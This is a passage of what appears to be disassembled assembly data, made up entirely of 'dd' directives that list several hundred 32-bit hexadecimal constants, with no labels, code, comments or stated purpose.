		dd 0A26952A2h, 24C00F5Fh, 0EC445B03h, 34112EE6h, 0A9DC251Ch
		dd 4C048220h, 1AE102Eh,	0E93F9AF2h, 61CED0AFh, 1A016825h
		dd 0ACCBC3DAh, 0C4F6F3FEh, 8CE0F8h, 0AC524B59h,	9F68AC14h
		dd 0C31D1471h, 0C094FFE7h, 90565C20h, 374F207Ah, 26AB055Fh
		dd 41201AB2h, 27457611h, 97FA3BC7h, 5E6DBE22h, 7009FFEAh
		dd 0D2E7D75Eh, 43C85EADh, 0F14EF7AEh, 0C5088D19h, 0BD6E58DDh
		dd 5C065B41h, 4651B16h,	5B1FC0EEh, 0AE93C4A7h, 0F525FEF9h
		dd 0B42C6DE0h, 978C8394h, 480114D4h, 510B93D7h,	74F4BA36h
		dd 622DE986h, 0B5BE0456h, 0A83FBB65h, 0B80EB001h, 0E9160927h
		dd 4DF4BA22h, 0D5F3064Fh, 59CA2D61h, 765AB354h,	0E3E98B23h
		dd 574B5071h, 6853D668h, 0F922492Dh, 0FC3CA80Bh, 44850341h
		dd 0F62F92B8h, 0CAD70192h, 0C5B37D3Eh, 0D1480625h, 40336A3Ch
		dd 0DB744B2Dh, 28FF5E48h, 79B70705h, 827BE92Eh,	125782Dh
		dd 0CC20926h, 2A5AADE9h, 4AD969DCh, 185D8B5Bh, 59675451h
		dd 0EFE87FE9h, 2933BFE1h, 169641D3h, 7A226358h,	43EE9BF5h
		dd 56A9C0D7h, 2DAF0325h, 0DEE93D90h, 0DF955C71h, 732BE28Bh
		dd 47FE34F8h, 0C8D151EFh, 0C8EC3F59h, 32301381h, 0ACE07F2Ch
		dd 69653B1Ah, 7FDAE70Eh, 0BE381429h, 5F823A18h,	1EFDFD42h
		dd 0E4EBD9B3h, 9740DB39h, 7C5228EDh, 7902276Eh,	93388C3h
		dd 1D85772Fh, 0F4CAD4D4h, 0AF975CA6h, 2265C410h, 2ED89DFFh
		dd 4A767488h, 61008DB2h, 0BFBECC9h, 0B6424497h,	3BC0892Bh
		dd 68419FDEh, 1B231577h, 12A18B4Eh, 0AAF3EA62h,	0BEF5EE27h
		dd 58062F48h, 0F226EB71h, 494BF70h, 3130ED7Ah, 46E3AAFBh
		dd 7CAC17B1h, 0D8CFCB5Ah, 1FD4AACh, 0F019838Fh,	12DB301Eh
		dd 7B763A0Bh, 0BD3FDE46h, 0B6188806h, 680BCC3Eh, 80C86D8Ah
		dd 0BE0DE2E1h, 0A2BDB027h, 1C080DC3h, 16D8A82Ah, 0D5E11BE9h
		dd 0EE935A33h, 4FAB3AC8h, 5FB1C8B1h, 0C0D3F72Dh, 2F36EBA3h
		dd 0B1FF737Fh, 0EE2A2D7Dh, 57053D09h, 2AF54770h, 0EF5116EEh
		dd 0F8A3CD06h, 4E179256h, 7951F3F7h, 5175BE81h,	0C06ABD65h
		dd 61777D5h, 8C77E198h,	0BB518582h, 7EE4E1BBh, 0AB4E70A8h
		dd 4E72032Ch, 197BE27Ch, 395EB81h, 0B15946Bh, 0EDD55908h
		dd 0F0E906ACh, 0AC5A9CF9h, 0FE67E41Ch, 665BD51h, 0F0E5058Ah
		dd 4A8AB35Ah, 56111FBAh, 0BA3BA0ACh, 4E462C0Fh,	3E53450Dh
		dd 68C5B3ACh, 41EFD9C9h, 0E6F86h, 0BD1C4721h, 0A0C2B9D9h
		dd 0E2D957DFh, 0FFF95309h, 552D04E7h, 0F1F98CB0h, 17A9D982h
		dd 0AA5D8589h, 2112E9DFh, 94B2EED0h, 2ECCF293h,	0C0897908h
		dd 0E9DFD151h, 952C4CD8h, 0C29736DEh, 0FBA257EFh, 0A84E8A8Dh
		dd 65F1F717h, 5B36EC50h, 0FCD2A9E2h, 4F53CF21h,	5BDA85FBh
		dd 6D849CB9h, 0CC24BB72h, 15C28F04h, 0FF075B0Bh, 0BF0148F1h
		dd 202911C4h, 796A16Bh,	0D102F4BCh, 3F1A6850h, 0F92A01E6h
		dd 0AA304ED0h, 8EBB9C16h, 6680AA4h, 0D5698D57h,	0CD8B9902h
		dd 8EC78FA0h, 1300AD15h, 0D76BD55h, 4E29D7AEh, 8243BAEFh
		dd 98C3C480h, 3C2849F4h, 0C6A658E1h, 0A6CE1FEAh, 0AE59131Ch
		dd 5BEA216h, 0B9F2014Fh, 0B8A31058h, 7048124h, 606F7873h
		dd 0D97623C9h, 0F105DEB8h, 0BCA9A2E6h, 0C3AEDB1Ch, 0D46E5D42h
		dd 9CF2620Fh, 416BD420h, 0F96CF45Fh, 662D6A80h,	291DD34Eh
		dd 705E828h, 28026815h,	5E789C9Dh, 62C012B8h, 8119D03Bh
		dd 30FCA05h, 0E3FC459Fh, 0D534EA3Ah, 5782EF08h,	0B3918005h
		dd 139BD48Ch, 30D340E9h, 6E4BBBBDh, 987E1B3Eh, 0B41A39E2h
		dd 4A04EE15h, 9214B81Dh, 0F43967EAh, 2F1AE1D7h,	59306CFAh
		dd 4FD9F0B5h, 0BA71121Fh, 0B25CC428h, 0DE916CCh, 0EFA6457Ah
		dd 0E5EE8108h, 3E29DD2Eh, 0C356930Bh, 2D1E3F9h,	0E9465E0Bh
		dd 385DCF6Ah, 70D001E5h, 0A771B581h, 91F8E961h,	0E9F7993Eh
		dd 76166A11h, 858434FBh, 13E4BBBBh, 0B52B40DDh,	0EE30CC03h
		dd 80F20459h, 0EAB652F0h, 0E27A9828h, 2EAA35E9h, 0AE58042Ah
		dd 59DEFAFEh, 39F7CC6Bh, 0BE3CD40Eh, 4D9F71Ah, 39803780h
		dd 31907675h, 2668EA40h, 0C21F5F17h, 0A2DF2577h, 281B057Ah
		dd 0D5F625F4h, 0CB7F73ADh, 783252D8h, 52B9467Eh, 0F8CFF8BBh
		dd 0B1137CA9h, 208A204Bh, 0A5B07B43h, 9469EE90h, 5D2889F1h
		dd 0CD24150h, 2F4DA1BAh, 0E3D80B2Dh, 4C3704A9h,	0A94DE97Bh
		dd 7EE0230h, 7F418868h,	0E98485E5h, 0A2ABA9B5h,	16FE4BD2h
		dd 5D6ED0E7h, 0BA9CFED5h, 7E50142h, 3DE64F30h, 0BD051EBFh
		dd 6A36FD2h, 814E89FCh,	20915398h, 265EF2E6h, 522F9B8Ah
		dd 995C3C84h, 4B8C202Ch, 0F75A00E1h, 2754B8DEh,	0C97885CAh
		dd 0CF95F9BDh, 521A047Eh, 7880AF47h, 255E2226h,	7F077BE9h
		dd 0BCC66448h, 18AD3E8Bh, 0E818B786h, 1F45C00Dh, 0FBA76F7Eh
		dd 0AE21C01Ch, 8CB45D45h, 0F71665F8h, 5C02FAF5h, 82E4E5CEh
		dd 172BAFDh, 1201890Fh,	369975F8h, 0C30B800Bh, 38872AAFh
		dd 926D0076h, 59D80ED5h, 760E952h, 14536A25h, 0B9711694h
		dd 11254370h, 21000FE9h, 0C8302468h, 7599DB41h,	0FAA700E6h
		dd 7B32943Fh, 8E500F58h, 0C00B813Dh, 8777EB26h,	0B3F0E8D1h
		dd 0CBF2E69h, 7CF5B54Fh, 5B041A22h, 0D88B3595h,	50AB3C3h
		dd 0F4C06EAh, 83694A87h, 0C38003FBh, 200499Eh, 5FDE8B56h
		dd 50FCF981h, 590FAB8Dh, 0A8771885h, 0BDF65Bh, 0AAEEEC51h
		dd 0D67B2BAFh, 0D7CB7103h, 0D0015372h, 718DD5Ch, 73A024FDh
		dd 6A2293C2h, 7C0B8EB0h, 0DDC8D900h, 1EB2B159h,	8FB60768h
		dd 0C0D1460Fh, 0B0BB1849h, 0B9642101h, 0D984418Ah, 46D5194h
		dd 6B3745F8h, 27501020h, 0E4080Ch, 0DB3E3A01h, 7CCCD617h
		dd 8073C33Fh, 5C6AF9A0h, 0C80DC446h, 5B422629h,	218C247Fh
		dd 12120F7Ch, 21F6C312h, 0E7087829h, 3DFE8810h,	8B43ED00h
		dd 3EC977C8h, 58875214h, 2093E4A7h, 741E6F31h, 12F8BA00h
		dd 9C79D8DCh, 869008Eh,	96F71C2Ah, 7E01A3B1h, 5B303D1Ah
		dd 54ECC901h, 62630010h, 36E5186Fh, 0F0003884h,	1A279BADh
		dd 0FCB704CAh, 0A61B002Ch, 0BE5BB699h, 203F3089h, 5C7C80CCh
		dd 0CE55170Ah, 7104035Ah, 0A7021882h, 94C570D8h, 0FF0B7200h
		dd 124F9665h, 4C6B2C74h, 0C00D00FCh, 14543479h,	0A932E200h
		dd 9AAD6C49h, 4AF50026h, 66DD1B90h, 13075095h, 11825D75h
		dd 643B940h, 9DD13AABh,	55230A00h, 42B6C90Bh, 0BF75E839h
		dd 739180F5h, 7880227Ch, 0B4620715h, 0C050AA02h, 0CDFE0A7Eh
		dd 8444A839h, 6B135E12h, 11735F80h, 0D2CB0049h,	93CFFDEAh
		dd 59012BC7h, 30D0766Eh, 102073EBh, 177D5Ah, 5497DF4Ah
		dd 0E3296DD9h, 0B2FB6600h, 4388F36Fh, 7A71F7h, 0FAFC152Fh
		dd 89809C52h, 112AE103h, 0C8BA7119h, 96FDA5h, 0D34B3083h
		dd 0A4280DD5h, 1000677h, 2255ACBFh, 6EC678h, 1D9AA214h
		dd 83A8B658h, 0CFCD1500h, 484EF14Dh, 0F5023CE7h, 0E68A6F00h
		dd 1AC97DE1h, 0D1F36800h, 0FCBB9681h, 0B2316444h, 10708262h
		dd 0A3F49E40h, 7E40F500h, 8CA842Dh, 56E4B8h, 0E6984293h
		dd 4B03E24h, 0B2C0A500h, 404D2C8Dh, 0DDBA021Bh,	6946AACFh
		dd 0F42DB5C0h, 2453CB24h, 0B0938600h, 3FF0A0h, 5109B5E8h
		dd 9B7CC005h, 88E4210Bh, 0A0D18356h, 3AF48086h,	0E725071Dh
		dd 80638E72h, 13D04CC7h, 0CC2C3301h, 719B7AEDh,	96CC24h
		dd 0E2E1FB94h, 80D3E4A4h
		dd 1481F8EFh, 0D4B57800h, 0C9DB1D67h, 497400B9h, 8F77E822h
		dd 0E100CAAEh, 112D7289h, 1E1E8359h, 802F3441h,	4D3D49ECh
		dd 78B8DAF2h, 6820CC00h, 0E4F5B60Fh, 7D515897h,	8ED91F00h
		dd 0A5E8307Dh, 0E543DD00h, 19055992h, 8B7115A6h, 2E00AC33h
		dd 417F7A96h, 9B03A082h, 9E2EF94h, 0C7DA8083h, 0D1F9036Bh
		dd 220EAD6Dh, 0BB329100h, 0DFD8BE61h, 0E6F30096h, 0CFDB9DF0h
		dd 0E95C8CE8h, 0FDA01E2Ch, 575BFBC4h, 6791580h,	0BEF10069h
		dd 0C9055E0Eh, 0EDB00729h, 0DE555200h, 0D6D1ED84h, 0F7D80398h
		dd 0D27408Ah, 0E20FD088h, 9DEE1F00h, 5402358Ch,	0E66D76CCh
		dd 846500C7h, 298BDF11h, 33CA4DDh, 25729E46h, 0A9209C80h
		dd 715C676h, 400A63BDh,	0C0CEB7D2h, 0F20BC4D1h,	1D70B4E2h
		dd 5D084Ch, 4FF62203h, 50A3553Ch, 14C9061h, 0D728EAA4h
		dd 0ECB27529h, 443906B8h, 0CF9200F3h, 581AD37Eh, 387B0072h
		dd 0C9EEFCD9h, 56F08968h, 411F600h, 8F9D7ADFh, 286112BAh
		dd 0C23C4298h, 104CECCFh, 4C960300h, 62ACF80Ah,	50E7A20h
		dd 519179D4h, 16C80E80h, 0ED837D40h, 0ADFEF250h, 0F422640Eh
		dd 391A80A8h, 0EB284Eh,	5AF3BE95h, 45044240h, 5BEA3EFCh
		dd 5417DD00h, 3C7A7190h, 0AF3600C6h, 39661672h,	0A5015605h
		dd 264CD096h, 0E7C09FFEh, 4EEB00EEh, 2DC46CE3h,	61007DCFh
		dd 1B3316A7h, 726988h, 0EE485918h, 5A2010AFh, 3C526700h
		dd 4DF9B8C5h, 427F69h, 36DA178Eh, 468FD624h, 0C1B03C00h
		dd 0C420D9FFh, 92253051h, 0D5313F11h, 0AF707700h, 0D7558414h
		dd 0F6C4A05Dh, 0EB0A009Ah, 0AC74B39Dh, 0E7714E9Fh, 60C9C200h
		dd 1531CB09h, 1FDF1D1Dh, 0F44DFC3Fh, 45561800h,	75CCB1F7h
		dd 0E6262D00h, 8B2E88D9h, 40250085h, 57B09F81h,	0BC00734Ch
		dd 5F86756Dh, 4C5B8422h, 3D00FCA3h, 54D0072Dh, 7401B669h
		dd 3E6C1063h, 46F03AA7h, 0C9253965h, 64774100h,	0C5A6F19Eh
		dd 801C7C39h, 0E18A338Ch, 5EE1D8Fh, 349E3C79h, 0DE0C80FAh
		dd 93072B68h, 12D57D74h, 1F6EB200h, 6299000Eh, 8A489E5Eh
		dd 0A400CBFBh, 0B4F0A251h, 0F58DB06h, 33D3796Eh, 348070C9h
		dd 3AB7074Ah, 4487CF00h, 0D3195DC9h, 0A2EB0056h, 3378E35Fh
		dd 3FE26AE7h, 0EAEC0500h, 79708C42h, 11A07D1h, 90AB6209h
		dd 7386ED95h, 0CC5B203Eh, 941800F0h, 0DDDC6BF6h, 2A7900CCh
		dd 0F0A4E04h, 87005976h, 71C9F842h, 3668117h, 0A7D8626Fh
		dd 0BBB01D50h, 9D033594h, 24DB8382h, 36CE880Bh,	0FF211F19h
		dd 1F4E615h, 0EB5A4154h, 5C04005Fh, 8FE000A3h, 196A2CE1h
		dd 0FC39BE70h, 874900ABh, 10D28C36h, 0F0C4012Bh, 81A6B491h
		dd 0F903020h, 0BBC9AE00h, 48553296h, 0E0190973h, 0B80150DFh
		dd 30A4877Ah, 363FA5F4h, 5B568032h, 5934B767h, 34BECFFh
		dd 5207B8F1h, 229869BBh, 0F70FA7FAh, 33DFEE46h,	0CF002D1Ch
		dd 0F60A1480h, 25740B35h, 0B80C703h, 8EE308EAh,	11B45948h
		dd 0D3C08FF9h, 4EEC540Fh, 5AD240Bh, 6E5480B7h, 0A51A2Bh
		dd 0C257B598h, 0CA243485h, 0CFD2D400h, 583A04D3h, 3D70030h
		dd 0DC5F964Ah, 5E0054ABh, 0C4DD68E5h, 648C3Ch, 0EF45D08Fh
		dd 0E4D3AA4Fh, 0DBEE9100h, 15774982h, 0E2BA00FDh, 3D328BB2h
		dd 0B000D814h, 9F95ED1Ch, 7893C3Fh, 75E9FC42h, 9BCD4081h
		dd 900BB6Ah, 0B0E557B1h, 7B7C2659h, 9E1000C2h, 0B2542196h
		dd 9A0BE9A4h, 80A327C4h, 0F7DE3D9Dh, 0BDEC37h, 6E5D3CD9h
		dd 0ABF909C9h, 66C6148h, 39447BB4h, 0E5140090h,	1E30F3BDh
		dd 0B713B1CAh, 41E65C2h, 2567803Bh, 12FEE62Fh, 85C50505h
		dd 801A4A53h, 402986ACh, 0AB0E3301h, 3D9BC0CEh,	2A4FECh
		dd 0B4D9E7C6h, 0A8627055h, 0E38E711Fh, 6B176800h, 0EA0F1B3h
		dd 308143F4h, 310FCF4Bh, 0DF915AC0h, 3F30D354h,	0EE879221h
		dd 5C8FEE4Bh, 0B9005C14h, 0EC4CD886h, 1A3E4807h, 6C2CD0C2h
		dd 295AB200h, 548CC87Ah, 0A7810113h, 2BED8E33h,	1AD0206Fh
		dd 0A86D700h, 9915579Fh, 4C50B72Dh, 2F72BB02h, 430348B4h
		dd 0D46F89E0h, 12BAECh,	0A149415Ch, 31D9D0EAh, 65017B79h
		dd 0F04456BDh, 0D020CF8Bh, 0C66321E8h, 863A7300h, 69BCF3h
		dd 818E09D4h, 6433F21Fh, 4AC3A503h, 8153670Bh, 6420EE7Ch
		dd 2B352FF8h, 0FD9E260h, 8040B43Dh, 0CFCC90BAh,	38D816h
		dd 526615F8h, 0F093ED64h, 0A885E900h, 6BB50335h, 0B3390046h
		dd 0E3D35569h, 0DA4815AAh, 144413B8h, 0EAF7DB01h, 20806A01h
		dd 37B373CFh, 0DE018DC0h, 500FF454h, 95E8216Fh,	45300083h
		dd 220DD659h, 0AE00A1C6h, 0EB64695Eh, 5E8ED91h,	7908AC89h
		dd 296CC02Dh, 0B7007ADEh, 6A393F60h, 0F6CC2614h, 67C7301Dh
		dd 2A60170h, 0DF9CF00Dh, 0D9D45856h, 507660D4h,	0A23898BFh
		dd 4E8C8300h, 0E6C3282Dh, 4FB300D8h, 0F29FCE72h, 799087FDh
		dd 2C704C00h, 3F7DA616h, 7A8801E2h, 7114F155h, 9430805Fh
		dd 0CA20BE27h, 367B07E8h, 0D096E1F4h, 71D51724h, 97F390C0h
		dd 7AC5D7h, 7CD6E935h, 0CE29378Eh, 0A365E000h, 3055623Fh
		dd 45FED0h, 640E7B17h, 722152AAh, 9468C002h, 60065620h
		dd 0C8E02Ch, 0E732EB95h, 0D54A5B9Eh, 0F7000FF2h, 87A157FFh
		dd 0AE508Eh, 0B808419Ah, 0A26311E1h, 10F0714Ch,	7F3AD661h
		dd 9C0E6880h, 8C301474h, 46238600h, 843A9DA3h, 0C71F07D8h
		dd 239BAD6Dh, 70DF269Fh, 0C916E75Fh, 5B3B8200h,	0E965A8EDh
		dd 1B34007Eh, 0ACB0802h, 4D0084DDh, 8A964B35h, 628F71h
		dd 4F11C272h, 459E4EFEh, 0B06A1400h, 240B5E58h,	8CCF0D19h
		dd 20D22E7Bh, 0D83D8823h, 0CDBE8727h, 0D233055Ch, 0FEA0B885h
		dd 0DC0C00CEh, 0E92279B0h, 170006E2h, 1E7184A7h, 3A68F5Dh
		dd 7B5C1D55h, 3790DF3Bh, 0E73EF5D2h, 651180B6h,	9A0D6EC6h
		dd 606096B8h, 136DC577h, 8C5BBA00h, 72162430h, 11A70065h
		dd 0FB38D1FCh, 0C60364A3h, 755D326Ah, 0F02000E8h, 71B4FE06h
		dd 40768AF5h, 57A0EB00h, 26340113h, 19C92D0h, 3511759Ah
		dd 2C1BF091h, 0BAED0014h, 0D6B31089h, 0C92E0032h, 0E34448ECh
		dd 5D006306h, 747A1DFCh, 8D3115h, 9E412887h, 0B5583598h
		dd 6851AF00h, 7C5DBFC5h, 9B0700D8h, 4C666159h, 0C312E591h
		dd 68803399h, 1CBDF6Dh,	190F41Ch, 0C8E5BE74h, 10A92E99h
		dd 36802C6h, 80A088F6h,	0C383A8ECh, 0D56FE070h,	151300DCh
		dd 0DF5EBBA3h, 8B00C439h, 0D8E5C0E8h, 0DB84AA1h, 0D4BD803Ch
		dd 9B01D839h, 0E101717Ah, 0E248F072h, 5EF199A1h, 0AA6A880h
		dd 1FEB79F7h, 0CEEE2000h, 3B9A62E5h, 0A21702EAh, 31993780h
		dd 6E09E710h, 155F703Ch, 0A0206030h, 1F567840h,	715B6A8h
		dd 90D052B1h, 701E8902h, 0F8DD2107h, 7600C7DCh,	25EB15h
		dd 53E82791h, 24422F18h, 0E9563018h, 2C60BC59h,	1E40CED5h
		dd 616B051Eh, 1E0461Dh,	183C08E5h, 565D01D7h, 20626B9Dh
		dd 682219Dh, 114DC6A2h,	8FAB9802h, 80759DECh, 1236C1Ch
		dd 0ED11C092h, 0F227119Ah, 0C6816460h, 60565E0Dh, 1BDC1170h
		dd 0E1207C4Dh, 475C02E5h, 0E045B358h, 0FD492013h, 3ADC6E44h
		dd 5052195Bh, 0C319B12h, 0A5112C88h, 0E8D9F200h, 2DEC73C1h
		dd 0AD033BA8h, 0A05BC867h, 0E4058E1Dh, 23307903h, 1483C963h
		dd 0C4556510h, 4D540480h, 680EAD11h, 9260915Ch,	1A00400h
		dd 1B5BC51Ch, 38943993h, 19827010h, 0A1AE3C7Ch,	10FE6118h
		dd 0D1C0E444h, 8C470355h
		dd 16D3F490h, 7357B16h,	0BD2992F9h, 0A8644148h,	6A5D0037h
		dd 187D6135h, 8072CAD7h, 5F117898h, 0C63161Ah, 6F563168h
		dd 0BF0F93B1h, 0C009F240h, 5A65F94h, 8B4201CAh,	4A92F688h
		dd 0E434209Fh, 0A3AC7C13h, 0A0196706h, 0CA600079h, 8D7A97E0h
		dd 9550B59Ah, 8FF6360Ch, 67DBAB58h, 404FF5C9h, 0C53FCA6Eh
		dd 61500041h, 88BCE115h, 0DD0328B1h, 384CF894h,	0AEE8016Bh
		dd 435DFC90h, 0C6E0CCA3h, 0E9F61B06h, 51C825C2h, 6401F026h
		dd 0AEF2696Bh, 302012E4h, 5F712E4h, 0F418F11h, 0DF70C372h
		dd 81449150h, 0CDCCD389h, 45981855h, 0A70C21FDh, 8B6BFF0Eh
		dd 339D4304h, 0B3280130h, 3645D992h, 74500017h,	54393AE6h
		dd 9656C80h, 0E2347A55h, 6FA5D800h, 0CCB0DF24h,	0E8C783Dh
		dd 96D7D2BDh, 0C2E22B67h, 0CA10F8C5h, 737FE9Dh,	0B81569D1h
		dd 90B941E5h, 0F88AE08Eh, 4CA2AC00h, 65860523h,	0AE0D33FCh
		dd 21039608h, 1A4C9AD3h, 0F1C9C0A7h, 0A82300BEh, 0CAC7A41h
		dd 56009845h, 7C8CF9F3h, 387792h, 91517639h, 0DCE19669h
		dd 0B80214E6h, 0F8857333h, 3DEF608Ch, 87D000B0h, 0D5A61875h
		dd 27B914Eh, 0E6D41F03h, 389FC8DEh, 5B05F820h, 383427BAh
		dd 0DA46AF20h, 9D073804h, 8C0E00BEh, 0E9F73196h, 0D6D8D080h
		dd 0D771C526h, 79864D0Ch, 0C0E508CFh, 26DF3721h, 52EA19F2h
		dd 0F6D6E600h, 651E9D3h, 7A91392Ah, 8D8C54h, 25E692F4h
		dd 3C7D486Ch, 0CF845C50h, 27898F06h, 286764h, 0B7C5498Ch
		dd 0DCBDF0D6h, 98F1E8FEh, 0A6216008h, 0B771BCh,	438B069h
		dd 0EFB3B19Ch, 6DD5B600h, 0DC55E963h, 5E6F09BEh, 0AB80F2F0h
		dd 7695917h, 0E889DD30h, 509D4083h, 6011BC8Ah, 0C8695892h
		dd 9475E748h, 0FD3CDD03h, 18A27A90h, 815865C1h,	0E100C6EAh
		dd 0D07CD56Ah, 48695B67h, 21002B16h, 3CC0DD5Ah,	0ED7E0922h
		dd 6C24C400h, 11E2F8B4h, 6A69C08Dh, 12A44F22h, 6DB00C06h
		dd 50083C0Ah, 12A4476h,	6F177E4Fh, 816E1920h, 713A02A8h
		dd 0B9839540h, 4B01499h, 86F65F8h, 18CC5AF8h, 0FEC7005h
		dd 6D8ABBEh, 88455BE1h,	0EDB84067h, 69CC8611h, 0BA090Ah
		dd 22EEEC26h, 0C5722441h, 15ED2A3Ah, 187C185Ah,	0D3986437h
		dd 0B37B3973h, 6066AE02h, 0C9404174h, 4A7830EDh, 20C38900h
		dd 86148BDCh, 909206h, 0DB34F936h, 9089EEFAh, 0CEAC9C54h
		dd 84E79400h, 580A2D35h, 8FE6004Bh, 0E9DF4579h,	7224A66Ch
		dd 1A40480Ch, 20BFFA07h, 907ACF71h, 0AAF749C0h,	0BD2F43h
		dd 9E23FEA3h, 68CB6022h, 6F9F8000h, 91C1A074h, 6E31C79Dh
		dd 76773Ch, 6AA5B1E1h, 8039C53Ah, 23B646AAh, 9912DBEh
		dd 8C904A4Bh, 609B8C04h, 23C026D9h, 0E011FF71h,	26E23A00h
		dd 5C518891h, 97404260h, 5E6231Dh, 0D86D7366h, 0E4C80069h
		dd 4C25131Ah, 89F6D1F7h, 24496F41h, 22C16264h, 0B8F1E6F8h
		dd 0A3024436h, 7E05224Ch, 0D210A031h, 52044C9Bh, 0D5D6F504h
		dd 650F4480h, 0F4D100CAh, 0E072ECF9h, 0E6248A88h, 95820487h
		dd 49689075h, 0C5DB9914h, 0EEF23800h, 4897711Bh, 0DE24304Dh
		dd 4F1EC068h, 2C4612A0h, 0CC017D22h, 0EB954F26h, 0B3FCBAF2h
		dd 98EE0703h, 60814B90h, 9465793Ah, 0FC0B040Fh,	0B87D84A9h
		dd 6D6408D0h, 0D48C089h, 2D23E74Ch, 0D4A7150Ch,	0E4340A1h
		dd 7D6FA99Ah, 0BDF3BB80h, 79C09511h, 9964FC47h,	588001BAh
		dd 0AFB18903h, 0ED5020A1h, 0DC85F000h, 0F8F6C506h, 7AD49225h
		dd 0CE8E28A5h, 0EFB20F98h, 11F303F0h, 88008452h, 2147C270h
		dd 12001479h, 0A25DE55h, 7BA78EFDh, 1EA3776Fh, 897CB0FCh
		dd 840EE5F8h, 136601FDh, 4239784Dh, 43C107B0h, 8B3C40ECh
		dd 0B9C98CEBh, 3C5E8AA8h, 70219112h, 90EBB0EDh,	1E59AFh
		dd 32C2932Dh, 0D7BF8009h, 3B60F01h, 2065AA0h, 2BB0A340h
		dd 9479028Bh, 9634FE70h, 0A22000C4h, 0A79B00F1h, 0C0238F43h
		dd 85F68B28h, 49AA81C0h, 2128918h, 0F6F0B0E4h, 9C68B104h
		dd 0DE18EF5Bh, 38109260h, 0A8EC188Bh, 0D1C238F9h, 306DC9F3h
		dd 0DF186844h, 28288B20h, 23EE2CDCh, 2858249Ch,	0F83267E4h
		dd 98F08A64h, 0BB9909E9h, 5387D491h, 8F0BCB0h, 0E68408Eh
		dd 0FC22A85Bh, 0FFE0007Ch, 0C991174Ah, 0C4293D13h, 7B113C06h
		dd 70FCC9h, 27CADA61h, 9D0EEAC1h, 37FBE016h, 0D1589100h
		dd 0EC74018h, 0A0ECA814h, 0D85C5092h, 136A060Ch, 0F302D711h
		dd 0A10F68D4h, 8F94C8B2h, 7D120A9Ah, 26E85960h,	45983D58h
		dd 0EE8C21C0h, 21EF3705h, 880F6C01h, 0F4184A8Fh, 73008711h
		dd 0F271944Dh, 6C4165F9h, 0D816E0F2h, 0E2432E29h, 8511019Fh
		dd 20E93C90h, 0D069358h, 5A64F279h, 0B8CA0031h,	19A92AD8h
		dd 970024C0h, 0BABD603Eh, 0F6D47Fh, 91E3CEEh, 2650ACE5h
		dd 6C6C4Ch, 28B9FD61h, 712CBFDEh, 907C00D7h, 0F3E235C9h
		dd 9F24A34Fh, 0B80F8C1h, 0BC4E14ABh, 1A7B26FDh,	82467400h
		dd 7D075A01h, 60CF3973h, 7F41796Ch, 0A0D0F852h,	4EF507F8h
		dd 138C90E5h, 8606EC2h,	841FA8Ch, 38896AADh, 3C2C7510h
		dd 48CDD90h, 12A14F21h,	20836234h, 0A54F29CBh, 0FA86B02h
		dd 63BE7EABh, 9140F484h, 41EF5E43h, 3921F10Dh, 88417073h
		dd 0E074046Dh, 1319390Ch, 170EC726h, 0C160602Bh, 0F023DAB7h
		dd 5C119Dh, 75B7B8AAh, 751A1723h, 20A00936h, 80207464h
		dd 4EFB9C66h, 581ECE0Eh, 3CD9E0B2h, 0A0015798h,	807AE980h
		dd 0A4BB47A0h, 0F50EEE02h, 1040408Eh, 8D690BACh, 0E010649Ch
		dd 0B800DBA5h, 0FB2422A9h, 0EA2C96h, 0E9509262h, 25ED753Ch
		dd 4DBF7900h, 4E012E09h, 0F7B2000Bh, 7AC6915Dh,	0F94CB6BDh
		dd 0B8E18A58h, 15A874CFh, 88B81412h, 2DC78078h,	21F2374Fh
		dd 6F50206h, 24A8B7DAh,	477C0CF3h, 4E89CBF0h, 0DFC83413h
		dd 0D64CCAD3h, 0C8790054h, 0D75F6EB9h, 0F4451212h, 129C1273h
		dd 7C9C6240h, 88C928C2h, 0FEF40055h, 58FD6CD5h,	8B405918h
		dd 79D6C1h, 294B284h, 1018C92Dh, 0EE205D3Dh, 718064Ah
		dd 0F8EB9EE5h, 5442A4B0h, 7149EE02h, 78689D08h,	0E420DEE6h
		dd 1F83F9Fh, 0BC450C06h, 8C06305Dh, 0DF28827Dh,	8A402C38h
		dd 0ED05836Ch, 604CF692h, 0BE4E10D0h, 0C5177B07h, 5A6BAE20h
		dd 0C8A1420h, 0BC5399A3h, 0B8EFC420h, 0B15B3660h, 89F8D716h
		dd 0C45E5000h, 3C0D1C9Ah, 4B0BAB55h, 6CA0F411h,	7DF213BDh
		dd 0FE19981Eh, 0E52B017Ch, 0EF11CD93h, 3C07AFE0h, 103A69F1h
		dd 31B48604h, 8FCC0CAh,	950B92FEh, 90F43Dh, 0A691CFC0h
		dd 0B2E70317h, 9A8C2CB6h, 90C812A8h, 0EA1DAC00h, 0F12AA676h
		dd 119C0577h, 288993EBh, 9B78AD38h, 528D023Ah, 70B0A318h
		dd 17E1FF08h, 13C7B09Ch, 0F320BE5h, 139B3000h, 0CF0EB0EFh
		dd 0A177DCF8h, 0B59CCB17h, 581D1E0h, 0B3C50CB2h, 33680389h
		dd 2CC19DE1h, 4839A4FCh, 65E104A3h, 702286DCh, 0CF2B030Bh
		dd 7F10C403h, 0E9900CCh, 0A1D4707Dh, 3E7DCDCh, 6D20E941h
		dd 1801D306h, 4D2160E6h, 1192D2FAh, 9C40168h, 305375EDh
		dd 8328BAECh, 23B2C40h,	489DA4F7h, 7A040C23h, 0E02CCF2Ah
		dd 0B70CC092h, 59A0ED04h, 0F67D330Fh, 698DC79h,	40C3299Dh
		dd 668E428h, 0F7030CB0h, 0E15596Eh, 678F490h, 0B36DE628h
		dd 0BF5F43B1h, 90DF6721h, 8AC8EFBAh, 0C50E8275h, 9C68DEA2h
		dd 6F5910F3h, 0FEEE1CB0h, 77880025h, 0A12B64Eh,	0DEE74FF7h
		dd 8BF8020Ch, 0E44894EDh
		dd 0F4266515h, 0F00E45Fh, 8E71BA27h, 450D2826h,	728C0B0Ch
		dd 5490EF05h, 83408118h, 2C4C3FE6h, 774D6705h, 50C1638h
		dd 0C8867C34h, 58A0E57Ch, 0D314B70Dh, 0E8648CF0h, 0AA2788A6h
		dd 83107115h, 0FFBC408Ch, 26B88084h, 8D108852h,	7A7880C1h
		dd 0C45014DDh, 0A609FCB4h, 0E0BA51F8h, 5C207461h, 2008847Ch
		dd 3D2F64Dh, 0E5E2DD7Bh, 7434C14Fh, 0A3F48C08h,	4F1950E4h
		dd 7D128A13h, 42987C26h, 0D9064A4h, 704CB123h, 20830CE8h
		dd 298F19EFh, 81887585h, 0E6FCB399h, 0D3642069h, 0D7021584h
		dd 406294FEh, 0ECC57BC1h, 8D440CA8h, 6880AE21h,	0C20C9908h
